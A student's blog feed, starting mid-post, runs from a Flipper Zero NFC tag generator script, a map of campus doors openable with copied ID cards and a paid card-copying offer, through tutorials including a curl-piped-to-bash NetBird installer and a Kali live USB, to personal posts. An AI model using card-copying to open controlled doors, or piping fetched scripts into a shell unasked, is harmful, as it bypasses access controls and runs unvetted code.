
    return tlv_msg

def generate_nfc_file(url):
    uid, bcc0, bcc1 = generate_random_uid()
    uid_hex_str = " ".join([f"{b:02X}" for b in uid])

    header = [
        "Filetype: Flipper NFC device",
        "Version: 4",
        "Device type: NTAG/Ultralight",
        f"UID: {uid_hex_str}",
        "ATQA: 00 44",
        "SAK: 00",
        "Data format version: 2",
        "NTAG/Ultralight type: NTAG215",
        "Signature: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00",
        "Mifare version: 00 04 04 02 01 00 11 03",
        "Counter 0: 0",
        "Tearing 0: 00",
        "Counter 1: 0",
        "Tearing 1: 00",
        "Counter 2: 0",
        "Tearing 2: 00",
        "Pages total: 135",
        "Pages read: 135"
    ]

    pages = []

    # Blocks 0-2: UID, BCC, Static Lock and Internal Bytes
    pages.append(f"Page 0: {uid[0]:02X} {uid[1]:02X} {uid[2]:02X} {bcc0:02X}")
    pages.append(f"Page 1: {uid[3]:02X} {uid[4]:02X} {uid[5]:02X} {uid[6]:02X}")
    pages.append(f"Page 2: {bcc1:02X} 48 00 00")

    # Block 3: Capability Container (CC)
    # E1: NDEF Magic Number, 10: Version 1.0, 3E: 496 bytes data area
    pages.append("Page 3: E1 10 3E 00")

    # Blocks 4-129: User Data Area (User Memory)
    tlv_data = encode_url_to_ndef(url)
    user_pages = [tlv_data[i:i+4] for i in range(0, len(tlv_data), 4)]

    current_page = 4
    for p_data in user_pages:
        hex_str = " ".join([f"{b:02X}" for b in p_data])
        pages.append(f"Page {current_page}: {hex_str}")
        current_page += 1

    for i in range(current_page, 130):
        pages.append(f"Page {i}: 00 00 00 00")

    # Blocks 130-134: Dynamic Lock, CFG and Password Configuration
    pages.append("Page 130: 00 00 00 BD")
    pages.append("Page 131: 04 00 00 FF")
    pages.append("Page 132: 00 05 00 00")
    pages.append("Page 133: FF FF FF FF")
    pages.append("Page 134: 00 00 00 00")

    footer = [
        "Failed authentication attempts: 0"
    ]

    return "\n".join(header + pages + footer)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 generate_ndef_url.py <URL>")
        print("Example: python3 generate_ndef_url.py 'https://windson.cc'")
        sys.exit(1)

    url_input = sys.argv[1]

    try:
        nfc_data = generate_nfc_file(url_input)

        # Extract main domain from URL for filename
        domain = url_input.split("://")[-1].split("/")[0].replace(".", "_")
        filename = f"url_{domain}.nfc"

        with open(filename, "w", encoding="utf-8") as f:
            f.write(nfc_data)

        print(f"Execution complete. File saved as: {filename}")

    except Exception as e:
        print(f"Error: {e}")

In terminal enter:

python3 <YOUR_FILE_NAME> "YOUR_URL"

Accessible Doors Map

Finally, we made a map marking all the doors that can be opened so far. Current sample size is too small—we can only confirm the Applied Math building, Second Village, Old Boys Dormitory, Yunping Building, and Library are controlled. If there are more, we’ll add them gradually.

If you can’t understand this article and are worried about losing your student ID, or need a digital business card to let people add your IG quickly, feel free to find us. We’ll copy one in five minutes right in front of you, and charge you five yuan less than the school price.

Weekly Diary | 26/03/15

Sun, 15 Mar 2026 00:00:00 GMT

Last weekly post seems ~~still last time~~ was last year. Though it’s called weekly, theoretically updates weekly. But that’s just theoretically — in reality, this is my blog, update whenever I want! From winter break until now actually have lots to write, just procrastination until now, thought should organize these three months stuff.

Building Computer

During winter break, in the mood to build a computer to play. This timing is awkward — one am4 to am5, ddr4 to ddr5. Originally thought get second-hand, only CPU/GPU new, so can save money, best resolve around 30000. So started looking for parts, target is lowest config to play Elden Ring slightly higher. Blueprint roughly like this:

CPU: AMD Ryzen 5 5600GT
Motherboard: Gigabyte B550M GAMING X WIFI
RAM: Kingston DDR4-3200 32GB (16GB ×2)
SSD: Kingston NV3 1TB PCIe 4.0
GPU: Gigabyte Radeon RX 6700 XT

Then found a day, went to second-hand computer parts store — since no B550M, bought B650M, also bought RAM, of course not above model, but ddr4 usable, 8G one 750, still Kingston. So bought four, total 3000, at that time memory price quite cheap.

After buying this, went to Nova, looking for new R5 5600. Store told me am4 was taken back all last week, market only has am5 now, can only buy second-hand. At that moment thought big trouble, already spent 5000 but nowhere can use, so now still have 32G memory and one motherboard at home, ~~maybe use to build NAS later~~. Then bought whole set new computer, spent big. But using it now quite well, ~~no need to deal with N card issues to run pytorch~~, can max out graphics playing The Warriors: Clouds of Swan. That’s final config:

CPU: AMD Ryzen 5 7500F
RAM: Kingston FURY Beast DDR5 5600 16GB*2
Motherboard: B850M AYW GAMING WIFI
SSD: Kingston NV3 PCIe 4.0 NVMe SSD 1TB
GPU: Radeon RX 9060 XT

New Tools

AI agent

Each recently recommended Opencode — an AI coding agent. After installing, just explain your needs, it can make what you want. Specific works can be seen in About bottom game wall and Contact widget — both made by it. Also my study site got its theme changed by it — was Docusaurus. If development not want to start from scratch, need a template ~~or just give it to do~~, actually a good choice. Official provides connection to various LLM models,前提是有付費的API Key may be smarter? Putting question mark because never used, think official already enough.

Text Editor

Because think using vim is cool, installed Neovim + LazyVim. Now type with ten fingers without leaving keyboard from start to end. Except some functions still don’t know what they do, everything else works quite well. These days also installed GitHub Copilot, can keep being Tab engineer in class. Shouldn’t have reached can’t go back to Vscode level, but feel approaching already XD.

Browser

Watching Each: You have the right to choose your own browser and search engine the other day, made big changes to browser settings. Before used firefox, sometimes brave. Because installed some packages on firefox to block tracking and ads (ublocks, AdNauseam), so actual feel exactly same as brave except interface. But recently, privacy-focused Mozilla wanting to access user data, so am looking for off-ramp. Later seeing Vivaldi in Each’s article — browser with built-in ad and tracker blocking, also can connect to Proton Mail and Proton VPN. Best is has function to automatically find website RSS feeds, later seeing website want to subscribe won’t be this troublesome.

Back to topic, browsers now using: Vivaldi + Brave. Mainly use Vivaldi, but changed computer default browser to Brave, and turned off Brave’s javascript globally. This way when entering unknown website or clicking link someone sent, can ensure no weird stuff can be done to computer. Unless have to use javascript, then use Vivaldi with blocker — should be very safe computer setting.

Blokada

One phone ad and tracker blocker program, intercepts from DNS level. So my phone now quite safe. If want to download, go to official site to download apk. In Google, Blokada 6 now costs money. But how to ensure this software has no malware? Because open source, so hard to hide backdoor, can trust netizen’s eyes. This software quite fun — because filters traffic, can see what software on phone after opening, what backends requesting, can ban all you don’t like. Like I banned all Line functions except chatting, whether locked well or not don’t know — because can only watch domain name divinate.

Events

SITCON Compass Plan

This time’s SITCON participated in Compass Plan, sounds impressive, but actually just helps find people with similar interests to wander SITCON together, afraid bored. Result when list came out, saw 235 — partners from joint winter training pulling all-nighters, really too coincident. Others all don’t know, also don’t know where hand ran off to. Theoretically should create group to know each other before, otherwise social energy might zero on that day.

Guitar Club Performance Team

One word is “tired”. Things many and杂, school’s administrative process slight trouble, some things different from last term, also need to deal with some temporary situations, detailed after event ends to write performance team document. This time because document not very complete, everything stuck. Luckily during winter break wrote a program to schedule songs, otherwise would die from exhaustion.

Department Karaoke Judge

This is last week got new job unexpectedly. Our department co-hosting a Karaoke competition with other departments, each department sends one judge. At that meeting because I’m from guitar club, got pushed to this position. But… I play guitar, I don’t sing. ~~Guess can only talk junk during evaluation~~

USB "Resurrection"

Wed, 11 Mar 2026 00:00:00 GMT

For Linux users, school computers aren’t friendly. ~~Linux is free after all~~, but most school computers only have one OS installed — Windows. If you want to use your familiar interface and environment, you have to carry your laptop everywhere. The better computer labs have an outlet by the wall for laptop users, but usually there isn’t one.

In a general education course, the professor shared how he handles this problem. He made a USB drive into a bootable drive with storage capability. As long as there’s a computer to plug into, you can “resurrect” and run your own system on someone else’s computer. This way, no matter what device you’re using, you can use your familiar Linux. ~~Provided they haven’t locked the BIOS, that is~~. The day after that class ended, I made one myself.

Choosing an Operating System

Being a KDE enthusiast who also needs easy operation, the first thought was Kubuntu. But regular bootable USB is volatile (meaning once powered off, all changed data disappears, returning to the original boot drive state). To make the USB a portable OS, it needs memory functionality. Thinking about how this involves the Linux kernel, I started skipping class. So I went online ~~to gemini~~ to find a suitable system—one preferably designed for Live USB operation or supporting this feature.

Later I ~~gemini~~ found Kali, Tails, Alpine, Slax… actually quite a few. Each OS has its own characteristics—feel free to research yourself. I ultimately chose Kali, ~~can be my mobile artillery~~, because it natively supports Live USB. If you want a system designed for Live USB, you can choose Slax.

Making a Live USB

Since I installed Kali, I’ll only teach how to do Kali. First, download their Live USB image from official site. At this point, you’ll notice you downloaded a .torrent file, because the official site doesn’t directly provide the image—you need to get it via P2P. First install aria2:

sudo apt update && sudo apt install aria2
aria2c ./kali-linux-*-live-amd64.iso.torrent

It’s normal for downloads to be slow at first. After downloading, you need to verify the image is really from the official source, not faked. Next to the download button there’s a sum where you can get the official SHA256. We use it to verify file authenticity.

echo "21e87900f8464b8ba99ed0b4161388f896fc13cf9af976c0bfd692ffe62931c2  kali-linux-2025.4-live-amd64.iso" | sha256sum -c

If the terminal shows OK, the file is fine. Next, set it up with storage functionality.

Creating Persistence

First, boot into the Live system (amd64). Next, partition space to store data.

lsblk # Find your USB drive, usually /dev/sdX

After finding it, partition out the extra space—this determines how much you can store.

fdisk /dev/sdX

Press n to create a new partition, choose p, press 3 (should be 3 if you haven’t created anything else). Then keep pressing enter until partition is done, finally enter w. If you want to understand what this does, check Bird Brother. After partitioning, go into fdisk again, press t to set the type of the partition you just made to Linux. If the partition table is GPT, it’s called Linux filesystem.

sudo mkfs.ext4 -L persistence /dev/sdX3

Next, create a file system in the partition you just carved out, so it can store data—hence the command above. Give it a label called persistence. Next, write some configuration.

usb=/dev/sdX
sudo mkdir -pv /mnt/my_usb
sudo mount -v ${usb}3 /mnt/my_usb
echo "/ union" | sudo tee /mnt/my_usb/persistence.conf
sudo umount -v ${usb}3

Finally, restart

sudo reboot

Select “Live system with USB persistence” to boot—done!

Postscript

I haven’t tested this at my school yet—only succeeded on my own computer. I installed termux and nvim in it. These are tools I use often, hoping to have them available on school computers too.

I Only Wear Toe Socks

Mon, 23 Feb 2026 00:00:00 GMT

This is my submission for “BlogBlog Club Gathering - February 2026”. This month’s theme is “Only Me?”, hosted by Wiwi. If you have your own blog, feel free to join!

Since some point, there’s been only one choice in my sock drawer — toe socks.

Whenever I go to a friend’s place, escape rooms, or any situation requiring shoe removal, people’s reactions to my socks are usually: “Huh? Isn’t that hard to put on?” or “Looks really weird.” But for me, it’s a habit I can’t go back from. Just like when you’re used to typing on a mechanical keyboard, going back to membrane keys feels like something’s missing.

At First It Was Just for Hiking

I bought my first pair of toe socks for hiking. At the time, I was sweating a lot and my feet were suffocating in my shoes. Someone told me toe socks absorb sweat better, and with toes separated, there’s less clammy feeling between them—especially important when staying overnight on the mountain. So my whole family bought a pair to try. The first time wearing them was indeed a bit awkward—had to line up each toe one by one, redo if I got it wrong. But once on, it did feel kind of strange. The whole sole felt stuffy, everywhere wrapped up, like an added sense of presence. The feeling of each toe being separated was very noticeable; I even started noticing my feet while walking.

But the moment I really thought they were “not bad” was the second day of hiking. The day before I walked several hours uphill; coming down, my feet were already a bit swollen and tired. Normally in these situations, the space between toes gets clammy and sticky, even some chafing discomfort. But that time there wasn’t. When I took off my shoes, my feet were dry, no clammy feeling built up between toes. In that instant I realized—comfort isn’t about the first second, it’s about how you feel all day. After that, I slowly got used to that feeling of “each toe has its own place.” Later on, it became weird wearing regular socks—felt too tight, too sticky, too stuffy.

Once You Try It, You Can’t Go Back

Wearing toe socks to go out, ride bikes, even run—I started noticing details I never cared about before:

Toes don’t rub against each other
Less stickiness after sweating
Better stability in shoes
Less stuffy feet after long walks

The difference is most noticeable during exercise. Over time, my regular socks in the drawer decreased. After doing laundry, I always reached for toe socks first. One day I realized—I hadn’t worn regular socks in months.

Everyone Says It Looks Really “Weird”

Honestly, toe socks really do look weird. Every time I take off my shoes, people say: “Why are you wearing those?!” But I’ve gotten used to it by now. Because when something is truly comfortable and truly suits you, you don’t really care what others think. It’s like you won’t ~~switch back to Windows just because someone says using Linux is troublesome~~, and you won’t start adding sugar to your black coffee just because someone laughs it’s too bitter.

I Only Wear Toe Socks

Now my sock drawer is simple — open it, all toe socks. Colors are pretty similar—black is most common, occasional gray pairs; thin ones for summer, thick ones for winter. No fancy designs, no collecting hobby—just simply wearing what’s comfortable. I’m not trying to be different, not trying to express any attitude. It’s not cool, even kind of funny. But it’s comfortable, practical, and has accompanied me through many miles—from mountain trails, playgrounds, to daily commutes.

Some choices don’t need reasons. Just like how someone always sits in the same seat, someone prefers a certain keyboard feel, someone must have a cup of coffee every day. For me, this little preference is toe socks. After a while, it’s no longer an experiment—it becomes a habit that quietly weaves into life. No special announcement, no deliberate persistence, just naturally — I just wear toe socks.

Self-Hosting VPN ── NetBird

Sun, 22 Feb 2026 00:00:00 GMT

The VPN I used before was Tailscale. Tailscale’s limitation for free users: only three people in one tailnet. But my Minecraft buddies number more than three… So I migrated the whole family to NetBird.

NetBird is a zero-trust VPN based on WireGuard. In plain terms: it helps us connect devices scattered around (laptops, Raspberry Pi, cloud servers) into a secure virtual local area network. Though they offer official servers, I just want to self-host!

Basic Setup Tutorial

Prerequisites

A Linux host with a public IP (I use GCP Ubuntu 22.04).
Your own domain
Docker installed—it’s a good thing

Step 1: Configure GCP Firewall

Before installing, you must open up network access on the server. GCP blocks external connections by default. Go to GCP console VPC Network -> Firewall, add a rule to open these ports to all sources (0.0.0.0/0):

TCP 80, 443: For web dashboard and automatic Let’s Encrypt SSL certificate requests.
TCP 33073: NetBird gRPC management port.
UDP 3478: STUN service (this is key for devices to successfully P2P hole-punch).
UDP 33073: Signal service.

Step 2: Configure Cloudflare DNS

Go to Cloudflare dashboard, add an A record:

Name: whatever you like
IPv4 address: Your GCP server’s public IP
Proxy status: Set to DNS Only (gray cloud)

Step 3: Run Official Installation Script

SSH into your GCP server, download and run the official installation script:

curl -fsSL https://github.com/netbirdio/netbird/releases/latest/download/setup.sh | bash

During execution, the script will ask a few questions. If you want simple, choose 0 for the first one—no need to manually handle SSL certificates. Next it’ll ask if you need a reverse proxy—personal preference. Finally enter your URL and you’re done.

Step 4: Connect

Open your custom website in a browser. First login requires creating an admin account. Download the client based on your operating system.

Server Settings
Click Setup Key > Create Setup Key—this is the key for connecting, only used during initial setup. Give it a name, other settings can stay as is. The key only appears once, so copy it.
Client Settings
- Linux
```
netbird up --management-url https://your-vpn-url --setup-key YOUR_SETUP_KEY
```
- Windows
  After downloading the client, click Settings > Advanced Settings. Change the URL to your own. Then open PowerShell and enter:
```
netbird up --setup-key YOUR_SETUP_KEY
```

SCIST X SCAICT Joint Winter Camp

Fri, 13 Feb 2026 00:00:00 GMT

It’s been a month since my last post. I was basically lazing around at home throughout January, so there wasn’t much to write about. But in early February, I participated in a hackathon organized by high school students. Event website here

How I Found Out About This Event

Around early December last year, Each posted Reasons Why You Should Attend SCIST x SCAICT 2026 Joint Winter Camp. ~~Though the main point of this article clearly isn’t that~~, it still attracted the target audience—me. As someone who previously only did competitive programming and dabbled a tiny bit in information security. First time seeing a development camp (or maybe I just never noticed before) with AI, Discord bots, and cloud deployment. Had to seize the opportunity to play around!

After Attending, I Discovered…

These High School Kids Are All Better Than Me

This event was organized by high school students, and the instructors were freshmen. All the information systems here were developed by themselves. Coming to this event felt like entering a wonderful circle—those special students who were few and far between on campus were everywhere here. Kind of regret not joining the Info-Research club in high school, ~~went to sing in guitar club but didn’t practice much anyway~~. The current NCDECC (中電會) is in its fifth generation, which means if I had joined right away, I could now proudly say: “I’m an executive from when NCDECC was founded!” Though joining now isn’t too late, I just have the guitar club to manage and don’t have the energy for this.

The instructors this time were OsGa and 4yu, teaching Discord bots, Git, and AI series respectively. But during OsGa’s class, I was mostly watching him show off with vim. So I grabbed the chance to ask him how to practice vim. Was recommended Sitcon EXPRESSO 10x Development! Development Environment to Break Free from Mouse—this was OsGa’s session that day and I’ll be there. AAPL time over—basically just keep practicing and you’ll never go back to Vscode from Vim, so I’m starting to practice now~ This article was also completed in Vim. As for what I learned in 4yu’s class? His class pushed me straight into the AI rabbit hole, so I grabbed Machine Learning and Data Mining Applications from the department.

What’s It Like Having Counselors and Other Participants Younger Than Me?¹

Only the night before the camp started did I realize this. Since the event was organized by high school students, the staff were high schoolers too! So my counselor… would be a high schooler without accident, ~~started worrying about the generation gap~~. But the result was no gap at all!! Maybe because we played that legendary game on the first night, ~~(legend really is a social game)~~ which helped us warm up, or maybe everyone was just quirky from the start.

Must give major props to our counselor — Jiao Ge, who dealt with our noisiness and quirkiness, played games even more seriously than us, ~~except for loves bombing the server with shine~~, everything else was top-notch. When the project hit a wall, came down to help, gave full emotional value, and even treated us to drinks at the end. First time seeing such a dedicated counselor. Actually there was another counselor — Water Bottle Sister, but she seemed shy so I couldn’t write much about her…

What Did I Develop This Time

Developed minecraft-bot for this hackathon—it’s a module that lets you chat with AI in-game. I was responsible for writing LLM, backend, and API integration. ~~Frankly speaking, everything except the module part was done by me~~, the division of labor was very unclear, mainly because I didn’t know how to divide it either. Anyway, if anyone’s too free, feel free to clone and play around, though it’s currently very user-unfriendly.

Though I promised Jiao Ge a 2000-word reflection, I’m already running out of words. Can’t be helped, this is it then.

Actually I thought I’d be found out from the start, turns out it was exposed on the second or third day—small surprise. ↩

A Spontaneous Trip

Mon, 19 Jan 2026 00:00:00 GMT

This is my submission for the “First BlogBlog Club Gathering.”

Spontaneous Departure

The day before yesterday at noon, my brother said he was going to a beach campsite. Then in the afternoon, we got a report back—his car got its front wheel stuck in the sand on the way in.
~~Using this as an excuse~~, my dad suggested we should go “rescue” ~~the camping~~ trip, so we packed everything within fifteen minutes and hit the road.

The only problem was—that beach was in Hualien.

The three of us crazies drove through the night, rushing from Taichung straight to Hualien. I also unlocked all my firsts: first time driving through the Snow Tunnel, first time on the Su-Hua Highway, first time on the Su-Hua Reconstruction—achievement unlocked all at once.

Campsite ── Hezhong Beach

Our destination was Hezhong Beach. By the time we arrived, it was pitch black. The campsite was about thirty meters from the sea—you could clearly hear the waves, and the wind was stronger than expected. After unloading equipment in the dark and setting up the tent, we realized something crucial—we brought a cooking canopy, not a sleeping tent. We left in such a hurry, but couldn’t do anything about it now. To keep the wind from blowing the tent away, we moved four big rocks to weigh down the ropes originally meant for tent stakes (you can’t really stake into sand anyway).

After setting up the tent and turning off the lights, looking up, you could clearly see Orion. What fewer people know is that below Orion’s belt are actually three stars connected together—they’re bright, just not usually noticed. Phone cameras couldn’t capture it, plus my hands weren’t steady, so I won’t embarrass myself by showing the photos.

Earthquake

This is off-topic. At 1:01 AM that day, a felt earthquake occurred off the coast of Yilan. Before the earthquake, we heard a very low, deep rumbling ~~THE TITAN IS COMING!!!~~, then the whole person was shaken awake. The epicenter was actually quite far south in Yilan, probably less than ten kilometers from us, and the focal depth was very shallow, making it very noticeable. This was also the first time in my life I was this close to an epicenter, the first time I so clearly felt what P-waves and S-waves are.

Pulling the Car

Around 5 AM, fishermen from the day before passed by, noticed our car stuck in the sand, and woke us up saying they could try to help pull it out. The car was stuck about half a wheel deep—shifting to R and giving gas just spun the wheels.

At first we tried pushing together—driver reverses to see if it could get out. Of course it didn’t move at all. Later they switched to boat rope, tied it to their own car, and both cars reversed together. After some effort, they finally pulled the car out.

Conclusion: Never drive onto the beach again.

Sunrise

After pulling the car out, there was only about half an hour until sunrise. We were already in Hualien—how could we miss the Pacific sunrise? So I found a rock and sat down, waiting for dawn. The clouds that day were a bit thick, and the distant clouds looked like mountain ranges on distant islands. When the sun slowly emerged from behind the “mountains,” the view was actually much prettier than expected.

After watching the sunrise, realizing I still had to drive all the way back to Taichung, I ate breakfast and went back to sleep.

Nearby Scenery

This is one of the remnants of the old Su-Hua Highway—one of the tunnel openings. After passing through, you’d reach the location in the second photo.

This is a wide shot showing the tunnel from the first photo. Among the pockmarked cliff faces, one hole is the old Su-Hua. Not sure if this is from the Japanese colonial period or the part that broke from the 0403 earthquake.

Chongde Beach

Because of the 0403 earthquake, the area around Qingshui Cliff severely collapsed. The original service area is gone, so it was relocated to the Chongde Beach side.

Taichung Green Museumbrary

Thu, 15 Jan 2026 00:00:00 GMT

Today I went to the Taichung Green Museumbrary with Cheng Chi and Eric. Sharing some photos.

Scheduling

Tue, 13 Jan 2026 00:00:00 GMT

Before winter break started, in the midst of finals hell, I thought: winter break is two months long, I must do something. So I listed a bunch of things:

Pwn
CCNA
Discrete Mathematics
Build a computer
Play Elden Ring
Get this girl in Genshin
Learn git, HTML, CSS
Binge watch shows

Just listing them out made things pile up. Now half of winter break is over and I’ve only learned a tiny bit of Pwn, watched lots of shows, and built the computer. Everything else is just sitting in the Ready queue, starving. If this continues, I might only watch more and more shows by the time school starts. I need a method to plan my time—at least make progress on everything.

To make discussion easier, first define these terms:

Wait time: From deciding to do something to actually starting it
Turnaround time: From deciding to do something to completing it

FCFS

FCFS (First come, first served), first thought of gets handled first, or first come first served. Only one thing at a time, and you must finish before starting the next. Since each task takes different amounts of time, the order affects average completion time. Sounds wordy, so here’s an example:

Task	Estimated time to complete
$P_1$	24
$P_2$	3
$P_3$	3

Processing order: $P_1 \rightarrow P_2 \rightarrow P_3$
- Average wait time: $\frac{0+24+27}{3} = 17$
- Average turnaround time: $\frac{24+27+30}{3} = 27$

Here you can see: if you push long tasks back, average wait time decreases. So change it to:

Processing order: $P_2 \rightarrow P_3 \rightarrow P_1$
- Average wait time: $\frac{0+3+6}{3} = 3$
- Average turnaround time: $\frac{3+6+30}{3} = 13$

After swapping, wait time shortened. Meaning ~~when a bunch of people ask you to do things, they’ll wait less~~.

SJF

SJF (Shortest Job First), shortest tasks first. Based on the previous discussion, we found that doing shorter tasks first reduces average wait time and turnaround time. Doing shortest tasks first gives the shortest average wait time (average time everyone waits for you to finish is shortest). But this is impractical—we won’t know exactly how long a task takes until we finish it. We can only ~~communicate with spirits~~ predict.

The discussion above is missing one variable. During finals, today you need to discuss a general education report, tomorrow you have an elective report, and ~~the day before yesterday the club president threw you a club activity results spreadsheet that still isn’t written~~. Tasks don’t appear at exactly one moment in time—they have an order. So add one definition:

Arrival time: The moment you receive this task—it’s a point in time, not a duration.

Shortest Remaining Time First

Shortest remaining time first, shortest remaining time gets handled first, is the preemptive version of SJF (can cut in line). Example:

Task	Arrival time	Estimated time to complete
$P_1$	0	8
$P_2$	1	4
$P_3$	2	9
$P_4$	3	5

The execution order changes like this—let the task with shortest remaining time at the current moment go first:

Average wait time: $[(17-8-0)+(5-4-1)+(26-2-9)+(10-3-5)] / 4 = 6.5$
Average turnaround time: $[(17-0)+(5-1)+(26-2)+(10-3)] / 4 = 13$

All these scheduling methods have problems. If short tasks keep cutting in, interrupting longer tasks, then long tasks might never get their turn—they’ll starve in the Ready queue, wait time getting longer and longer, still not done by deadline. To avoid situations where things don’t get finished, next up is Round Robin.

Round Robin

This method is less related to the previous ones. First, set a time quantum—each task’s time slice. If a task doesn’t finish within this slice, it must go back to the queue and we process the next thing. When its turn comes again, we continue it. For example, today you need to write Calculus, Linear Algebra, and General Physics. Set the quantum to one hour. First write Calculus for one hour, regardless of completion you must switch to Linear Algebra; then write Linear Algebra for one hour, regardless of completion you must switch to General Physics. After three hours pass, return to write Calculus, rotating like this until everything is done.

The art of this method is how to set the quantum. If it’s too large, every task completes within one interval, behaving like FCFS—there’s no point setting a quantum. If it’s too small, you’re always in the middle of switching. Example with 3 minutes: you need to do Calculus. Pull out tablet and open Calculus homework, find the problem to write (30 seconds), read the problem (2 minutes), write for 30 seconds—congrats, time to switch to Linear Algebra. Actual writing time becomes very short, constantly switching.

If you understood all of the above, congratulations—you’ve learned half of the Operating Systems — CPU Scheduling unit. This idea has been sitting in draft pile for half a semester. When I was learning this unit, I realized process execution and humans handling tasks are actually similar. It’s just that this task’s priority wasn’t high, staying in the Waiting queue and starving. Today, feeling inspired ~~has it been too long since I posted~~, I took it out of drafts to complete. This Round Robin cycle is done. Time to go binge watch shows.

How to Set Up a Minecraft Server?

Tue, 06 Jan 2026 00:00:00 GMT

Preface

I used to host my Minecraft server on other platforms—super convenient! One-click setup, no skills needed, ready to play immediately. But if you don’t log in for too long (not sure if it’s half a year or a year), the server gets deleted and all your progress is gone. Now that I have a host and the knowledge, why not set one up myself?

How to Set Up a Minecraft Server

I’ll only cover how to install on Linux here. If you’re following my tutorial, switch your host to Linux first. ~~I don’t have a Windows device to play on anyway~~.

Where to host?

According to the official docs, if you’re not expecting too many players:

CPU: Intel 8th gen or Ryzen 2000 series
RAM: 2～4GB

I set it up on my Raspberry Pi and it works fine—two or three people playing together is no problem.

Install Java

Since I play the Java Edition, multiplayer means setting up a Java server, of course. First, check if Java is installed. Run in terminal:

java --verion

If something like this appears, Java is already installed:

openjdk 21.0.9 2025-10-21
OpenJDK Runtime Environment (build 21.0.9+10-Ubuntu-125.10)
OpenJDK 64-Bit Server VM (build 21.0.9+10-Ubuntu-125.10, mixed mode, sharing)

If not installed, different OS has different installation methods. Since I use Ubuntu, I’ll only cover Ubuntu—refer to the official docs for other OS:

sudo apt update && sudo apt upgrade
sudo apt install openjdk-21-jdk

Get server.jar

You can directly click this link—this is the latest version 1.21.11 server file at the time of writing. Then run at the file location:

java -Xmx1024M -Xms1024M -jar server.jar --nogui

Xmx is max memory usage; Xms is min memory usage. The final nogui means no GUI needed—if you don’t add it, maybe a window will pop up? I haven’t tried. After starting then closing, you’ll find many folders created. server.properties is where you configure server environment variables—server name, player limits, difficulty, etc. If you can read English, it’s pretty clear. The world folder, as the name suggests, holds world saves. I tried moving a single-player world folder to the server for multiplayer and it worked directly. Also /world/datapacks/ is where you put mods and texture packs. If they don’t work, you can generate the world in single-player first then move it to the server.

Mod Installation: Atlantis

This is a mod I loved from childhood. Your spawn point is in a small glass house, and the whole world is underwater. For details, check Wu Qiufeng Minecraft Survival - Atlantis - Keep the Last Breath—this is a 12-year-old series from when Minecraft was still at 1.5.1. Playing now is purely completing a childhood dream.

Wu Qiufeng played 1.5.1. Recently, someone remade it, making it playable on 1.21+. For installation, go to GitHub to download and experience the underwater world you wanted as a kid. Installation is super easy—just put the downloaded zip file in /world/datapacks/ and you’re done. If you’re too lazy to set one up or want to play with me, email me and I’ll try to get you in.

Weekly Diary | 25/12/31

Wed, 31 Dec 2025 00:00:00 GMT

This year’s matters, this year’s done. Hurrying to post this year’s content on the last day of 2025. These past few weeks were struggling in finals, finally out of prison these few days. Though it’s fine now, actually there’s still a lot that can be done. Think it’s a good time to start from next year, resting first recently.

Guitar Strings

My guitar after last performance, sound started getting weird. The most obvious is the sixth string — open string tuning is good, but when finger pressed, pitch goes off. Sometimes right when pressed, sometimes wrong, sometimes high sometimes low. Since don’t use acoustic guitar much for performances, didn’t fix right away, just thought it’s weird.

But during club class last time, found its pitch really can’t anymore. Very off, can’t use it for class. Plus ~~can’t study well before finals~~. So on weekend, drove to Shalu to send it for emergency. Shop owner after checking, frowned, asked: “Did I change the strings last time?” “No, string broke and changed before.” “He installed the 5th and 6th strings reversed.”

Everyone科普 — not recommended to swap if reversed, because will have metal fatigue. Already curled and pulled straight and curled again, will break very easily. Plus might have length issues, usually just replace new in this situation. Because of this, spent more money on new strings — just bought this guitar less than half a year, various reasons changed strings twice. Won’t go there again next time, not naming names, just location near Wen-Hua High School.

Stereolithography

After last failure, did major revamp on model. Since apparently support issues, thickened and densified model’s supports. But… result doesn’t seem very successful.

This time printed Eye of the Truth, Master Sword, Hylia Shield, Donkey Kong, Kirby.

Eye of the Truth
Only printed the fire and outer frame. To avoid failure, printed two. As shown, only one center and one broken frame succeeded. Don’t know where problem is, guess maybe model too thin, didn’t form, or resin not shaken evenly, or mixing new and old. Too many factors affecting stereolithography printing.
Master Sword
Original design was to print two and glue together, but another sunk into resin. One half broken Master Sword, as broken version, reproduced quite well.
```
![Rotten Master Sword](https://cdn.kiranico.net/file/kiranico/zelda/webp/Icon/Weapon_Sword_070_Broken.webp)
```
Hylia Shield
Only one seems relatively successful, just the side touching the board warped. Reason unknown.
Donkey Kong
Most complete after printing, things on it very sturdy, no missing parts. But means its supports are also very sturdy. Result in whole model can’t smoothly separate from supports, had many support pillar marks on it, looks very weird.
Kirby
Because testing if supports needed, designed one without supports, others with. When finished product came out, found hat disappeared. Hat structure is arch-bridge shape (not real bridge, just parabolic with downward curve), and stereolithography prints layer by layer upside down — naturally can’t print.

The Warriors: Clouds of Swan

I’m really not resistant to open-world games, so started another open-world. Difficulty can be adjusted, hardest feels similar to Elden Ring. Saying all this, just want to post screenshots — game’s scenery is really beautiful.

Feeling Time

Started going to tutoring center this summer vacation, looking at those high schoolers, discovered I’m really in college. Freshman year maybe didn’t feel much, everyone still has overlapping classes. But this semester, I took advanced courses, took courses in other department — except required courses, rarely meet friends. Suddenly miss high school time — back then, going to convenience store, eating, to bathroom, all walked together. This semester started, going to class alone, eating alone, plus Thursday and Friday no class, alone time becomes a lot. Can do lots of things want, but not used to spending whole day alone. Next year’s assignment might be to practice living alone. Hope can get used to this next year, Happy New Year!

Course Sharing

Fri, 26 Dec 2025 00:00:00 GMT

This semester finally ended! Time to share what courses I took this term. Which courses are worth taking multiple times, which to avoid—consider this information sharing! This share isn’t limited to just this semester’s courses, since I didn’t know how to blog before.

The following is personal opinion—please don’t choose courses based solely on my reviews. What seems easy to me doesn’t mean it’s easy for you, and what seems hard to me isn’t necessarily really hard. So please gather multiple opinions and follow your own interests when selecting courses.

Required Courses

Calculus — Deng Junhao

The professor teaches very earnestly, and I’ve heard the instruction is good. Why “heard”? ~~Because I never attended class~~. The professor said: “I won’t fail you just because you don’t come to class.” Basically, pass the exams and you’re good. But since this semester started teaching entirely in English, I don’t know if the difficulty has changed. Personally, the difficulty isn’t high, but there’s a lot of homework—about 200 problems per exam, mostly dirty work. I’d recommend students from other departments not take this—you won’t have time for homework. For department juniors… you can’t escape this. If you want to coast through, study ahead during winter/summer break. Finish early, relax early (that’s how I passed). Even so, you’ll see many upperclassmen in Calculus II—reasons unknown, probably good courses are worth taking repeatedly.

